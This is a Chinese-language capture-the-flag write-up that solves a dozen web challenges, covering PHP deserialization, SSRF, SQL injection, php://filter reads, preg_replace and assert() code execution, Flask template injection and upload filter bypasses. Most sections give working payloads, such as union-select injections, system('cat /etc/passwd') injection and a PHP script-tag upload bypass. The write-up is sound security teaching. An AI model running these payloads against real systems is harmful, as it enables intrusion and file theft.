⭐ Web_php_unserialize(__wakeup()绕过+正则匹配绕过)

一个反序列化题目,页面直接给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

进行简单的审计

先是创建了一个Demo类,类中定义私有属性$file为文件名,并初始化了三个魔术方法:

  • __construct() 构造函数在实例化类时执行
  • __destruct() 析构函数在销毁对象时执行
  • __wakeup() 在反序列化前执行

其中__wakeup()中给出flag文件的提示,但是如果执行该函数,则会强制将包含文件改为index.php,因此此处是一个过滤点,需要绕过。
1602570853115.png

继续往下,一个if else子句语句,GET接收var参数并进行base64解码,然后preg_match('/[oc]:\d+:/i', $var)做过滤,其中正则表达式的含义是:匹配o:任意数字c:任意数字,匹配到则终止程序,因此这里也许要绕过。
1602570787053.png

总共有两个过滤点需要绕过,先编写代码对Demo类实例化对象进行序列化,得到如下结果:

1
O:4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";} 

(\00为手动添加,因为是私有属性,但是\00在页面不会显示,所以需要手动添加)

绕过方法:

  1. 绕过执行==__wakeup()==魔术方法,根据之前做的题目,只需要将序列化后的Json串中的属性个数修改为大于真实属性个数即可绕过执行该魔术方法
  2. 绕过preg_match('/[oc]:\d+:/i', $var)对序列化的匹配,将O:4改为O:+4即可,因为+4等同于4

所以,在源码的基础上,添加序列化以及字符替换的代码,并直接输出base64编码后的序列化结果,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}

$a = new Demo("fl4g.php");
$se = serialize($a);
$se = str_replace("O:4", "O:+4", $se);
$se = str_replace('"Demo":1', '"Demo":2', $se);
print(base64_encode($se));

?>

GET传递base64编码结果,得到flag
1602427435111.png

也可以在线编码,但是注意需要在Demo左右添加\00,因为私有属性private在序列化时会自动添加类名及\00不可打印符号,但是查看源码是可以发现的:
1602430789230.png

所以在手动修改数据并base64时,需要添加\00
1602430889005.png

⭐ fakebook(SSRF+SQL注入)

4星难度的题目,从这道题开始明显感觉到有些吃力,能做出来得益于师傅们的wp文章。

首先扫描网站目录,发现存在flag.php文件,在robots.txt中发现了user.php.bak文件,访问该文件保存至本地,是php源码,进行代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

通过审计发现,在get函数中,第23行没有对传入的url,也就是用户指定的自己的Blog地址做安全校验,导致此处可能存在SSRF漏洞

1
$output = curl_exec($ch);

然后在isValidBlog函数中,第41行对blog做了正则匹配,必须输入网址格式

1
preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);

已知可能存在SSRF,又有**isValidBlog()**函数过滤,但是不知道是在输入的时候过滤还是查询的时候同样过滤,如果是只在输入的时候过滤,那么只需要想办法将SSRF利用代码传入数据库,查询即可;如果是查询前过滤,那就得另寻他法了。

继续往下,在注册用户和查询用户信息参数处都存在SQL时间盲注,而且页面报错也爆出了网站根目录/var/www/html/直接SQLmap跑表

1604157974568.png

跑fakebook库的内容,发现存储的是注册用户的个人信息序列化结果

1604158158876.png

尝试利用SQLmap执行系统命令失败了,这就有另外一个可能的利用方式了,已知信息如下:

  • 存在SSRF,可能仅在注册时检查Blog URL的合法性
  • 存在SQL注入
  • 已知网站根目录和flag.php位置
  • 数据库存储的是个人信息的序列化结果

利用这些,可以尝试在查询用户数据信息时,将用户的Blog URL改为file协议读取flag.php文件的SSRF利用代码,构造序列化结果并通过SQL注入来完成查询,即可得到Flag(当然这也是读师傅们文章得到的启发~)

通过对参数n的SQL注入测试,得到有4个字段,用户blog数据在第四个字段,而且程序对union select有过滤,可以使用注释/**/替换空格的方式绕过

payload:

1
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

成功执行

1604161297056.png

查看页面源码已经读出flag.php文件内容,只不过做了base64编码后放在了iframe标签中

1604161517371.png

对这串base64解码同样是就是flag.php文件的内容

1604161465705.png

看了师傅们的wp,得知还有另一种更为简单的,但其实道理是一样的,都是利用SQL注入,读取/var/www/html/flag.php文件,只不过此方法是将数据回显放在了其他字段,比如姓名西段,就不需要做序列化了

payload:

1
0/**/union/**/select 1,load_file('/var/www/html/flag.php'),3,4

执行后查看源码即可得到Flag

1604162503775.png

总结一下

漏洞点:SSRF、SQL注入、报错信息泄露根目录,Web扫描得到关键路径

参考

https://blog.csdn.net/qq_42196196/article/details/81952174

http://www.mamicode.com/info-detail-2893815.html

⭐ cat(Django宽字节报错+php curl @读取文件)

很难,几乎完全参考师傅们的wp做完的,大佬的思路真的野!😅

一个ping功能的系统,尝试管道符命令执行发现被过滤,FUZZ测试,发现url过滤处的没有对以下特殊字符进行过滤:

1604207185171.png

测试发现后台使用的是GBK宽字符编码,可以通过修改url参数值为宽字符**%df**制造报错,发现后端是用Python的Django框架写的

1604204281681 (1).png

而且找到了ping函数的内容:

1604204491772 (1).png

把代码拷到本地,整理一下,其实也很简单的逻辑,甚至不需要拷到本地

1
2
3
4
5
6
7
8
@process_request
def ping(request):
# 转义
data = request.POST.get('url')
data = escape(data)
if not re.match('^[a-zA-Z0-9\-\./]+$', data):
return HttpResponse("Invalid URL")
return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())

首先escape()函数对输入中的特殊字符进行转义,然后将转义结果放在re.match()中进行匹配过滤,匹配网址或ip的数据格式,最后使用os.popen()执行ping命令,得到并返回结果。

根据师傅们的文章得知,原题目在比赛中是有提示的( RTFM of PHP CURL===>>read the fuck manul of PHP CURL??? ),所以此处需要利用PHP curl中的@来读取文件,查找PHP手册得到了一些信息:https://www.php.net/manual/zh/class.curlfile.php

There are “@” issue on multipart POST requests.

Solution for PHP 5.5 or later:

  • Enable CURLOPT_SAFE_UPLOAD.
  • Use CURLFile instead of “@”.

Solution for PHP 5.4 or earlier:

  • Build up multipart content body by youself.
  • Change “Content-Type” header by yourself.

手册总的大致意思是在php5.5之后就废弃了POST请求中@+文件路径的上传文件方法。在外网找到了一个相关使用示例:

1604209282439(1).png

利用此前的页面报错得到的Django项目路径,以及在报错页面搜索得到的database.sqlite3数据库文件,尝试读取该数据库文件

1
@/opt/api/database.sqlite3

1604214520408 (1).png

页面搜索CTF,得到Flag:AWHCTF{yoooo_Such_A_G00D_@}

原理

解释一下为什么此处能够读取到文件,正常程序POST请求和FILE请求是分开的,但是题目中将FILE请求和POST请求合并到了一块:

1604216002158.png

同时又将CONTENT_TYPE设定为奇怪的multipart/form-data

1604216203986.png

而PHP的curl中@上传文件正好是在需要 multipart/form-data 所以猜测后台的程序逻辑是:

  • PHP接收GET参数,使用POST方式传递给后台Django搭建的api
  • Django对PHP传进来的POST数据做GBK编码
  • GBK编码后再执行Django中的ping操作

所以能够利用并读取文件的原理是:

  • 利用PHP的curl @读取文件后,POST传递给Django做编码处理
  • Django中GBK编码无法对POST传递的文件内容中超过%7F的字符做编解码处理就会报错,比如\xe6
  • Django开启了debug,所以会将POST数据作为报错输出到页面

也是参考师傅们学习的,路子太野了~

参考

http://www.wupco.cn/?p=4195

https://www.php.net/manual/zh/function.curl-setopt.php

https://www.dazhuanlan.com/2019/12/30/5e0957fc025dc/

https://www.php.net/manual/zh/class.curlfile.php

https://www.cnblogs.com/Jleixin/p/13024972.html

http://code.iamkate.com/php/sending-files-using-curl/

⭐ ics-05(文件包含+php://filter本地读取+preg_replace()命令执行)

题目描述: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统,所以直接进习通的维护中心板块,但是发现页面是接口请求异常

点击做上边的标题,发现url中page参数包含了index页面,考虑是否存在文件包含漏洞

1604245119902 (1).png

将page参数改为/etc/passwd成功包含,的确存在,但是尝试其他文件又没有反应,而且当输入的是字符串时,会直接输出该字符串,不太理解……

1604245312186 (1).png

FUZZ跑一下特殊字符,发现所有字符都会被过滤,唯独#不会过滤,且会作为截断符号

1604245457548(1).png

所以考虑能不能SQL注入,但是尝试了很久都没有结果,实在没办法,看了师傅们的wp得知,此处需要利用文件包含,通过php伪协议php://filter来读取文件

OK,既然知道了利用手段,开始学习呗。

官方解释php://filter是 一种原封装器,设计用于数据流打开时的筛选过滤应用。,其实就是对数据流进行过滤,以当前题目的payload来实例分析:

1
?page=php://filter/read=convert.base64-encode/resource=index.php

这里边:

  • php: 代表一种php协议;
  • **php://filter/ **表示用于访问本地文件;
  • read=convert.base64-encode 代表读取的是base64编码后的结果;
  • **/resource=index.php **表示要读取的目标文件是index.php。

当然还可以写文件,具体见以下链接及官方手册:

https://www.php.net/manual/zh/wrappers.php.php

https://www.cnblogs.com/linuxsec/articles/12684259.html

1604246054845 (1).png

所以payload:

1
?page=php://filter/read=convert.base64-encode/resource=index.php

读取index.php的base64编码后的内容,并输出在页面

1604246697723 (1).png

base64解码后,得到index.php的源码,主要的部分有以下3个片段

1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$page = $_GET[page];
if (isset($page)) {

if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>

这段主要在第9行,解释了为什么会返回字符串

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>

这段对包含的文件名做了过滤,并对包含index.php的返回值做了重写,所以无法包含直接得到index.php源码,然后如果没有被甄别到的话,机会执行14行的包含文件操作,没有其他的安全校验了

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}

这一段是最关键的,源码显示,如果X_FORWARDED_FOR是127.0.0.1的话,就会触发下面的代码逻辑,接受3个参数进行preg_replace()函数的正则替换,但是并没有对这三个参数做安全校验。

在之前的漏洞复现 CVE-2016-5734 - phpmyadmin远程代码执行 中学习到,preg_replace()函数当正则表达式的模式是/e时,会进行命令执行,具体可看之前的漏洞复现文章中的分析。所以我们只需要将X_FORWARDED_FOR设定为127.0.0.1,然后构造payload执行命令读取flag即可。

使用ModHeader插件添加请求头,访问index.php页面即可触发内部测试页面

1604247980550 (1).png

构造如下payload:

1
?pat=/(.)/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=aaa

flag的路径是不断ls -l出来的,发送即可包含该文件得到Flag

1604248139499.png

参考

https://www.php.net/manual/zh/wrappers.php.php

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/destiny1507/article/details/82347371

⭐ FlatScience(SQLite回显注入+python脚本密码碰撞)

题目来源:Hack.lu-2017

页面是一些链接,点进去全是pdf文件,有多层目录嵌套,没有发现可疑点

1604305384872.png

Dirb扫描发现了robots.txt文件,得到两个路径:login.php和admin.php

1
2
3
User-agent: *
Disallow: /login.php
Disallow: /admin.php

admin.php提示需要admin账户登录,尝试SQL注入和登录绕过都失败了,原码处注释<!-- do not even try to bypass this -->,看来行不通,暂时放下

在login.php中的usr参数发现了SQL注入漏洞,使用单引号制造报错,得到数据库类型SQLite以及网站根目录/var/www/html

1604305624026.png

而且在本页面的源码处也发现了注释提示:<!-- TODO: Remove ?debug-Parameter! -->,意思是要**?debug吗,url后输入?debug**果然页面给出了login.php源码,截取部分关键的php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

审计结果:

  • 第8行的SQL查询语句的确存在注入,有name和password字段,存储的password为拼接并做SHA1的结果
  • 存在id参数,利用查询结果生成Cookie,此处会产生回显
  • GET传参debug时,会输出login.php源码

所以思路就比较明确了,利用SQL注入,查询admin账户的密码然后破解或碰撞。

注入过程:

根据审计结果,测试是否会有注入回显,当查询到结果时,就会设定Cookie,以存在的admin用户为例

1604306380187.png

通过是否有Set-Cookie字段,进行order by和union select联合查询,得到回显点是在查询结果的第2个字段

1604306542142.png

SQLite数据库中,存在一个sqlite_master默认表,类似于mysql中的information_schema,可以在sqlite_master中查询所有的表明以及之前执行过的创建表的sql语句,具体:

sqlite_master 表是 SQLite 的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个 SQLIite 数据库的时候,该表会自动创建。sqlite_master 表包含5列

type:记录了项目的类型,如 table、index、view、trigger 。

name:记录了项目的名称,如表名、索引名等。

tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。

rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者 NULL 。

sql:记录创建该项目的 SQL 语句。

所以可构造的SQL语句如下:

1
2
3
select tbl_name from sqlite_master -- 查询表名
select sql from sqlite_master -- 查询执行过的sql语句
select sql from sqlite_master where type='table' and tbl_name='Users' -- 查询创建User表的SQL语句

这样的话,就可以利用limit子句,逐个查询表名,再通过查询创建该表的sql语句得到其字段信息,已经查到了存在Users表,查询其字段信息:

payload:

1
?usr='union select 1,sql from sqlite_master where type='table' and tbl_name='Users' --+&pw=aa&id=1

1604307079546.png

得到4个字段:id、name、password、hint

利用聚合函数group_concat()分别查询name、password和hint

payload:

1
2
3
?usr=' union select 1,group_concat(name,"----") from Users --+&pw=aa&id=1
?usr=' union select 1,group_concat(password,"----") from Users --+&pw=aa&id=1
?usr=' union select 1,group_concat(hint,"----") from Users --+&pw=aa&id=1

1604307326795.png

统计查到的数据:

1
2
3
4
5
6
7
8
9
10
11
name:  admin
password: 34b0bb7c304949f9ff2fc101eef0f048be10d3bd
hint: my+fav+word+in+my+fav+paper%3F%21

fritze
3fab54a50e770d830c0416df817567662a9dc85c
my+love+is%E2%80%A6%3F

hansi
54eae8935c90f467427f05e4ece82cf569f89507
the+password+is+password

因为密码的散列值是加盐的,所以网上破解不出来,写了一个Python脚本对常用的2万个密码同样加盐做SHA1散列进行碰撞,没有得到结果。

hint提示密码就在那些pdf中,对%E2%80%A6%3F做URL解码后逐个pdf查询也没有得到结果。懵了,没办法,看一下师傅们的wp吧,得知需要爬取所有PDF,对其中的单词进行加盐SHA1做碰撞测试。

OK,自己撸代码吧,不用师傅们写好的了,毕竟也是学了一段时间Python的,而且之前给女盆友写英文PDF翻译工具时已经有一些轮子了,直接拿来用吧(小声bb:给小黑同学的翻译工具到现在还没写好,没有找到合适的翻译api)

大概花了1个半个小时写完。。。太慢了😓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python3.7
# -*- coding: utf-8 -*-
# @Author : Cr4y0n
# @Software: PyCharm
# @Time : 2020/11/2 17:26

import os
import re
import requests
from hashlib import sha1
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
from pdfminer.pdfpage import PDFPage
from pdfminer.pdfpage import PDFTextExtractionNotAllowed
from pdfminer.pdfinterp import PDFResourceManager
from pdfminer.pdfinterp import PDFPageInterpreter
from pdfminer.layout import *
from pdfminer.converter import PDFPageAggregator

# 在页面递归查找pdf文件
def findPDF(url):
re_pdf = "[a-fA-F0-9]{32}.pdf"
re_index = "[0-9\/]{1,5}index.html"
global pdfList
rep = requests.get(url).text
for i in re.findall(re_pdf, rep):
pdfURL = url + i
pdfUrlList.append(pdfURL)
print("PDF:", pdfURL)
for i in re.findall(re_index, rep):
newURL = url + i[0:2]
findPDF(newURL)
# 下载pdf文件
def downloadFile(urlList):
if not os.path.isdir("pdf"):
os.mkdir("pdf")
os.chdir("./pdf")
for url in urlList:
os.system("curl -O " + url)

# 转换为txt
def Pdf2Text(path):
# 打开PDF文件
pdfFile = open(path, "rb")
# 创建pdf文档分析器
parser = PDFParser(pdfFile)
# 创建PDF文档对象存储文档结构
document = PDFDocument(parser)
# 检查文件是否允许文本提取
if not document.is_extractable:
raise PDFTextExtractionNotAllowed
# 创建PDF资源管理器对象来存储共享资源
resource = PDFResourceManager()
# 设定参数进行分析
laparams = LAParams()
# 创建一个PDF设备对象
device = PDFPageAggregator(resource, laparams=laparams)
# 创建一个PDF解释器对象
interpreter = PDFPageInterpreter(resource, device)
# 创建存储转换结果的同名txt文件
fileName = str(os.path.abspath(path).split(".")[0])
newFileName = fileName + ".txt"
f = open(newFileName, "w")
# 处理每一页
for page in PDFPage.create_pages(document):
interpreter.process_page(page)
# 接受该页面的LTPage对象
layout = device.get_result()
for x in layout:
if (isinstance(x, LTTextBoxHorizontal)):
# 写入txt文件
try:
f.writelines(x.get_text() + "\n")
except:
pass
f.close()

# 逐个单词进行散列运算并查找匹配
def findPassword(path):
ls = ["34b0bb7c304949f9ff2fc101eef0f048be10d3bd", "3fab54a50e770d830c0416df817567662a9dc85c", "54eae8935c90f467427f05e4ece82cf569f89507"]
wordList = []
with open(path) as f:
for i in f.readlines():
i = i.strip()
lineWordList = list(i.split())
wordList += lineWordList
for i in wordList:
i = i.strip(":").strip(";").strip(".").strip("?")
en = sha1()
en.update((i + "Salz!").encode("utf8"))
result = en.hexdigest()
if result in ls:
print(i, "\t", result)
os._exit(0)

if __name__ == "__main__":
url = "http://220.249.52.133:30445/"
pdfUrlList = []
findPDF(url)
print(pdfUrlList)
downloadFile(pdfUrlList)
pdfPathList = []
print(os.getcwd())
for i in os.listdir(".\\pdf\\"):
pdfPathList.append(".\\pdf\\" + i)
for i in pdfPathList:
Pdf2Text(i)
textFile = i[0:-3] + "txt"
findPassword(textFile)
print("File:" + textFile)

运行脚本,当碰到正确的密码时自动终止

1604316948660.png

根据散列值得知是fritze账户,admin.php页面输入得到Flag:

1604316853076.png

检索30多个PDF来找到密码,只能说大佬们的路子真的野~😌

⭐ bug(任意用户密码重置+XFF伪造+文件上传)

[redinfo title=”题目信息”]来源: RCTF-2015
难度:5星
考察:逻辑漏洞(任意用户密码重置)、参数猜测、XFF IP伪造、文件上传绕过(后缀解析、MIME、PHP脚本限制)[/redinfo]

比较发散,题目环境有以下功能点:登陆前(登录、注册、找回密码),登录后(管理、修改密码、个人信息、退出),管理界面需要admin权限

注册了一个aaa的用户,对登录、注册等功能SQL注入无果,但是在请求头的Cookie中有一个user的字段,对其值做MD5解密发现是5:aaa,其中5是aaade uid,尝试将user值改为admin相关的MD5散列进行越权,依然失败。

在找回密码处发现,当身份验证成功时,重置密码会在数据包中同时传入用户名和新密码,所以怀疑是重置密码相关的逻辑漏洞。

将用户名改为admin,成功修改admin的密码

1604505334269.png

登录admin账户查看manage界面,提示IP不允许,上ModHeader,老朋友了,将XFF修改为127.0.0.1,成功绕过IP校验

1604505774592.png

查看页面源码,发现提示:<!-- index.php?module=filemanage&do=???-->,需要猜测do参数,是对文件进行管理,无非就是:downloaduploaddeletereadwritemovecopy,逐个试一下发现此处参数是upload,触发文件上传题目

1604506183072.png

经过不断上传尝试,发现系统会做文件后缀检测、MIME检测、PHP脚本文件检测(检测<?php),但是又需要上传一个php木马,所以要同时绕过这三个检测。

当使用php5绕过后缀检测、修改MIME为image/png后,在php脚本文件监测处,当存在<?php时提示Something shows it is a php!,当在?和php之间加一个空格<? php时又提示It is not a really php file

这就表明,不能够使用这种php脚本的写法,后台会检测到,题目考差的是php脚本的第二种写法:

1
<script language="php">phpinfo()</script>

将payload改为第二种写法,得到flag

1604506924276.png

⭐ shrine(SSTI+url_for()沙盒逃逸)

题目给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

shrine路径可成功进行SSTI

1604051748466.png

第5行使用app.config['FLAG'] = os.environ.pop('FLAG')添加了一个全局配置,猜测就是flag

但是在12行定义了safe_jinja()来进行安全校验:

1
2
3
4
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

首先删除(),然后定义黑名单,将config和self替换为None。

这道题如果没有过滤的话,可以直接**{{config}}{{self.__dict__}}**,经查阅,除此之外还有其他的函数方法可以使用:

  • url_for()
    一般我们通过一个URL就可以执行到某一个函数。如果反过来,我们知道一个函数,怎么去获得这个URL呢?url_for函数就可以帮我们实现这个功能。url_for()函数接收两个及以上的参数,他接收函数名作为第一个参数,接收对应URL规则的命名参数,如果还出现其他的参数,则会添加到URL的后面作为查询参数。

  • get_flashed_messages()
    返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

具体可参考:
https://blog.csdn.net/houyanhua1/article/details/85470175
https://blog.csdn.net/shuibuzhaodeshiren/article/details/86819537

首先利用url_for查看当前所有全局变量字典,发现了Flask

1604053909419(1).png

所以payload如下,即可得到flag

1
{{url_for.__globals__["current_app"].config}}

1604054046849 (1).png

get_flashed_messages的payload是一样的

1
{{get_flashed_messages.__globals__["current_app"].config}}

参考

https://blog.csdn.net/qq_33020901/article/details/83036927

⭐ Web2(程序逆向)

出自NSCTF,题目页面给出了一段代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

要求是逆向加密算法,解密$miwen就是flag,进行代码审计

程序其实就是自定义一个加密函数encode(),按步骤分析结果如下:

1
2
3
4
5
6
7
8
9
10
11
function encode($str){
$_o=strrev($str); // 将$str反转(逆序)
for($_0=0;$_0<strlen($_o);$_0++){ // 遍历
$_c=substr($_o,$_0,1); // $_c 等同于 $_o[$_0]
$__=ord($_c)+1; // $__ 等于 $_c的ascii值加1
$_c=chr($__); // 再将 $__ 转为ascii字符
$_=$_.$_c; // 字符串拼接
}
return str_rot13(strrev(base64_encode($_)));
// 先base64编码、再逆序,再进行ROT13 编码(所有字母按照字母表向前移动13位)
}

有几个函数拿出来记录一下:

  • strrev(str):对字符串执行逆序操作,如str=abcd,执行后为dcba
  • substr(str, a, n):在字符串str中,从下标为a开始截取,共截取n个字符(不指定n则截取到末尾)。题目中n为1,a又是不断递增,所以和啊a[i]这种没有区别
  • ord(s):返回字符s的ascii码
  • chr(n):返回数字n对应的asscii字符
  • str_rot13(str):字符串str中所有字母按照字母表向前移动13位(还原就是再执行一次该函数)

知道了加密流程,解密就从后往前依次反向操作就OK了,直接用php写吧,代码如下:

1
2
3
4
5
6
7
8
9
10
11
function decode($str){
$_o = base64_decode(strrev(str_rot13($str)));
$_ = "";
for($_0 = 0; $_0 < strlen($_o); $_0++){
$_c = substr($_o, $_0, 1);
$__ = ord($_c) - 1; // 解密减1
$_c = chr($__);
$_ = $_ . $_c;
}
return strrev($_);
}

传入密文,执行即可得到flag
1602774229504.png

⭐ PHP2(phps源码泄漏+URLencode绕过)

题目首页:

1602926244643.png

尝试直接在url后边加id=1……来猜测,但是无果。经师傅们的博文提示,得知寻在index.php文件,但是访问该文件没有反应。

OK,尝试访问index.phps(.phps后缀为php文件的源码文件,用于在网页查看php源码,因为php会被解析执行),得到页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

进行简单的审计

GET方式传入id参数,对id有两个if判断语句:

  • 第一个:强等于判断id是否为admin,若是则终止程序
  • 第二个:弱等于判断id是否为admin,若是则输出flag

其中,第一个和第二个if判断之间进行了一次主动url解码操作。

起初以为是php弱类型相关题目,所以传入了id=0,但是不正确,于是采用另一种。

根据源码,需要在传入id时绕过第一次的等于admin判断,即第一次admin判断为false,然后经过urldecode后,再次判断admin为true。但是由于浏览器有一次url自解码操作,所以需要进行两次url编码。

使用Burp对admin做url二次编码:

1602927131742.png

传入id,得到flag:

1602927173038.png

⭐ NewsCenter(常规SQL注入)

一道SQL注入题目,很基础的POST字符型注入,首先fuzz以下得到可解析符号,最终得到使用以下payload可成功解析:

1
1' or 1=1 #

没有任何过滤,因此按照常规手工注入步骤依次执行:

1
2
3
4
5
-1' order by 3 #
-1' union select 1,2,3 #
-1' union select 1,2,table_name from information_schema.tables where table_schema="news" #
-1' union select 1,2,column_name from information_schema.columns where table_name="secret_table" #
-1' union select 1,2,fl4g from secret_table #

得到flag

1602939552256.png

也可以sqlmap进行工具注入。

⭐ mfw(.git源码泄露+assert()命令执行)

网站使用page参数进行文件包含,尝试直接包含passwd文件结果有过滤,About页面有提示用了Git、php和bootstrap

1604045680816.png

使用Git就应该想到**.git源码泄漏**,Dirb跑一下果然存在.git目录,使用工具GitHack恢复git历史文件,恢复的原理是:

解析 .git/index 文件,并找到工程中所有的文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。具体可参考下面的文章:

使用GitHack恢复出以下文件,但是flag没有直接给出,考虑其他办法

1604048674270(1).png

在index.php中发现了过滤代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

第9行使用了**assert()**断言函数,这个函数是可以用来进行代码执行的,而且过滤也很简单,就是用strpos ('$file', '..')判断是否存在..,既然知道了过滤方法,也没有对page参数做安全校验,所以可以来命令执行

首先需要闭合strpos的前半部分,然后加入system()代码,再闭合后半部分,

1
aaa', '123') === false and system('cat /etc/passwd') and strpos('aaa

url编码后传参,成功执行

1
aaa%27%2c+%27123%27)+%3d%3d%3d+false+and+system(%27cat+%2fetc%2fpasswd%27)+and+strpos(%27aaa

1604049280880 (1).png

修改文件为./templates/flag.php文件,即可得到flag

1604049453092 (1).png

经过大佬的指点,理解了为什么git源码中看不到flag,而cat就可以,因为cat的文件和.git中存放的不是同一个文件。

⭐ upload1(前端JS校验绕过)

打开题目,一个文件上传的功能,尝试上传shell.php,提示只允许jpg或png,F12在网络中没发现js文件,查看源吗发现前端过滤的js文件:

1602930407128(1).png

